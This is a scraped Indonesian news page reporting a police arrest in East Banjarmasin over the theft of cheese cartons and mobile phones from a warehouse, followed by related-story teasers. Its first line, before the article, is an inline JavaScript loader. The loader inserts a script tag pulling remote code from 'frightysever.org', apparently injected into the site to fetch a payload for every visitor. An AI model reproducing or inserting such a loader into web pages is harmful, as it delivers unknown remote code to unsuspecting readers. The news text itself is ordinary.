(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian dari Reskrim Polsek Banjarmasin Timur berhasil menangkap seorang lelaki yang terlibat dalam aksi pencurian di sebuah gudang barang di Jalan Veteran Gang Keramat 1 RT 17, Kelurahan Sungai Bilu, Kecamatan Banjarmasin Timur, Kota Banjarmasin.
DAF (26) dibekuk karena diduga sebagai salah satu pelaku pencurian 8 dus keju dan 2 buah handphone yang nilainya mencapai Rp8 juta.
Kanit Reskrim Polsek Banjarmasin Timur, Ipda Partogi Hutahaean mengatakan pemuda tersebut ditangkap di kawasan Jalan Banua Anyar, Kecamatan Banjarmasin Timur pada Minggu (26/5/2024) sekitar pukul 23.20 Wita.
“Pelaku berhasil ditangkap adalah DAF, warga Jalan Veteran Gang Keramat 1 RT 17 Kecamatan Banjarmasin Timur,” ujar Kanit Reskrim Ipda Partogi.
Baca juga: 2025, Pemkab HSU Bakal Naikan Insentif Ustadz-Ustadzah TPA
Menurut Kanit Reskrim, pencurian tidak dilakukan DAF sendiri, melainkan bersama dua rekannya, yakni S dan A yang masih dalam pengejaran dan masuk dalam daftar pencarian orang (DPO).
“Dari pengakuan pelaku, ia melakukan aksinya bersama dua rekannya yang kini masih kami buru,” katanya.
Aksi pencurian, kata Partogi, diketahui setelah korban melaporkan kejadian ke Polsek Banjarmasin Timur.
Baca juga: Gelar FKP, Usaha Balai Besar Labkesmas Banjarbaru Tingkatan Pelayanan
Kejadiannya saat dini hari sekitar pukul 02.30 Wita ketika karyawan gudang sudah pulang, dan pada pagi harinya, saat karyawan masuk bekerja, pihaknya baru menyadari beberapa barang telah hilang.
Barang-barang yang hilang diantaranya, dua handphone merk Infinix dan delapan dus keju Cheddar olahan, dengan total kerugian sekitar Rp8,2 juta.
Tak butuh waktu, setelah mendapatkan laporan dari korban, polisi langsung bergerak dan berhasil mengamankan salah satu pelaku DAF beserta barang bukti 6 dus dan 8 kotak keju Cheddar olahan serta satu handphone merk ITEL.
Usai diamankan, pelaku DAF pun mengaku menyesal atas perbuatannya. Bahkan ia mengaku bahwa aksi yang dilakukannya itu juga dalam keadaan mabuk terpengaruh minuman keras.
Baca juga: Diduga Timbulkan Aroma Tak Sedap, DLH Banjarbaru Minta Aeris Hotel Cek IPAL
“Saya menyesal karena ini pertama kali saya lakukan. Saya juga tidak tahu hasil pencurian ini akan dikemanakan, saya hanya diajak oleh Supian,” ungkapnya.
Kini, DAF dan barang bukti telah dibawa ke Mapolsek Banjarmasin Timur untuk proses hukum lebih lanjut. Ia terancam dengan jeratan Pasal 363 KUHP tentang pencurian dengan pemberatan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.